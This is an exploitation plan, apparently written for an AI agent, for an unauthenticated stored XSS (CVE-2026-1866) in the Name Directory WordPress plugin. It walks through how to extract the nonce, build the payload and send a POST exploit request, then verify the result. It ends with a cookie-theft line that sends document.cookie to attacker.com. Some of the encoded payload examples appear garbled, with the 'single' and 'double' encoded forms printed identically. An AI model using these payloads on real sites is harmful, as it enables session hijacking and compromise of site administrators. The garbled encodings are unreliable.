Name Directory <= 1.32.0 - Unauthenticated Stored Cross-Site Scripting via Double HTML-Entity Encoding in Submission Form

This research plan details the exploitation of CVE-2026-1866, a Stored Cross-Site Scripting (XSS) vulnerability in the Name Directory plugin. The vulnerability arises from an unsafe "sanitization sandwich" where user input is decoded, filtered, and then re-decoded upon output.

---

1. Vulnerability Summary

The vulnerability exists in the submission handling logic of the Name Directory plugin (versions <= 1.32.0). When a user submits an entry to a directory, the plugin processes the name_directory_name and name_directory_description parameters.

The Flaw:

1. Input Stage: The plugin calls html_entity_decode() on the raw input, then passes the result to wp_kses().
2. Output Stage: When the directory is rendered (either in the admin dashboard or on the frontend), the plugin calls html_entity_decode() again on the stored value before echoing it.

An attacker can use double HTML-entity encoding to bypass wp_kses(). For example, <script> is decoded once to <script> at the input stage. wp_kses() ignores this as it doesn't look like a tag. At the output stage, it is decoded again to <script>, resulting in script execution.

2. Attack Vector Analysis

• Endpoint: The public submission form. This is typically rendered via the [name_directory] shortcode when the "Allow users to submit new entries" setting is enabled for a directory.
• HTTP Method: POST.
• Vulnerable Parameters: name_directory_name, name_directory_description.
• Authentication: Unauthenticated (if public submissions are enabled).
• Preconditions:
  1. A directory must exist.
  2. Public submissions must be enabled for that directory.
  3. The payload must be viewed by a user (Admin in the dashboard or any user on the frontend).

3. Code Flow (Inferred)

1. Entry Point: A POST request is sent to a page containing the directory shortcode or to admin-ajax.php.
2. Submission Handler: A function likely named name_directory_submit_entry or similar (hooked to init or wp_ajax_nopriv_...) processes the $_POST data.
3. Vulnerable Sanitization:

   // Inferred logic based on vulnerability description
   $name = html_entity_decode($_POST['name_directory_name']);
   $sanitized_name = wp_kses($name, $allowed_html); 
   // If input was <script>, $name is <script>, which wp_kses allows as text.
   $wpdb->insert(..., ['name' => $sanitized_name, ...]);
   

4. Vulnerable Output:

   // Inferred logic in display function
   $entry = $wpdb->get_row(...);
   echo html_entity_decode($entry->name); 
   // &lt;script&gt; becomes <script> and executes.
   

4. Nonce Acquisition Strategy

The Name Directory plugin typically uses a nonce to protect its submission form.

1. Identify Shortcode: The plugin uses [name_directory id="X"].
2. Create Test Page:
   wp post create --post_type=page --post_status=publish --post_title="Directory" --post_content='[name_directory id="1"]'
3. Navigate and Extract:
   Use browser_navigate to visit the page.
   The plugin likely localizes a script or includes a hidden field.
   • JS Variable (Inferred): Check window.name_directory_frontend or window.namedirectory_vars.
   • Nonce Key (Inferred): submit_nonce or nonce.
   • Hidden Field: Look for <input type="hidden" name="name_directory_nonce" ...>.

Actionable Step for Agent:
Execute browser_eval("document.querySelector('input[name=\"_wpnonce\"]').value") or check for a custom nonce field name like namedirectory_nonce_field.

5. Exploitation Strategy

Step 1: Discover Directory ID

List directories to find a valid ID:
wp db query "SELECT id FROM wp_name_directory_directories"

Step 2: Prepare Payload

We need double-encoded entities.

• Goal: <img src=x onerror=alert(document.domain)>
• Single Encoded: <img src=x onerror=alert(document.domain)>
• Double Encoded: <img src=x onerror=alert(document.domain)>

Step 3: Send Exploit Request

Submit the form via http_request.

• URL: http://localhost:8080/index.php/directory-page/ (or wherever the shortcode is)
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  name_directory_name=<img src=x onerror=alert(document.domain)>&
  name_directory_description=Exploit&
  name_directory_id=1&
  name_directory_submit_entry=1&
  _wpnonce=[EXTRACTED_NONCE]
  

6. Test Data Setup

1. Install Plugin: Ensure name-directory v1.32.0 is active.
2. Create Directory:
   wp db query "INSERT INTO wp_name_directory_directories (name, published) VALUES ('Test Dir', 1)"
3. Enable Public Submissions:
   Find the option name (likely name_directory_settings_1) and ensure submissions are allowed.
   wp option get name_directory_settings_1
   (Note: If settings are serialized, use wp db query or wp option update to set is_public_submit = 1 and auto_publish = 1 to bypass admin approval for faster testing).
4. Create Page: Place [name_directory id="1"] on a page.

7. Expected Results

1. The HTTP request should return a 200 OK or a redirect indicating success.
2. The database should store the value <img src=x onerror=alert(document.domain)> in the wp_name_directory_entries table.
3. When visiting the directory page, the HTML source should contain the raw <img ...> tag, and the browser should trigger the alert.

8. Verification Steps

1. Check Database:
   wp db query "SELECT name FROM wp_name_directory_entries WHERE description='Exploit'"
   Successful bypass if output is: <img src=x onerror=alert(document.domain)>
2. Check Frontend Output:
   http_request the directory page and grep for the raw tag:
   response_body.contains("<img src=x onerror=alert(document.domain)>")

9. Alternative Approaches

• Admin Dashboard XSS: If auto_publish is disabled, the payload is most dangerous in the admin dashboard. Navigate to /wp-admin/admin.php?page=name_directory_entries&id=1 (inferred) to see if the payload executes when the admin views "Pending" entries.
• Description Field: If the name_directory_name field has length limits, use the name_directory_description field for the full payload.
• Script Payload:
  <script>fetch('http://attacker.com/?c='+document.cookie)</script> (Double encoded).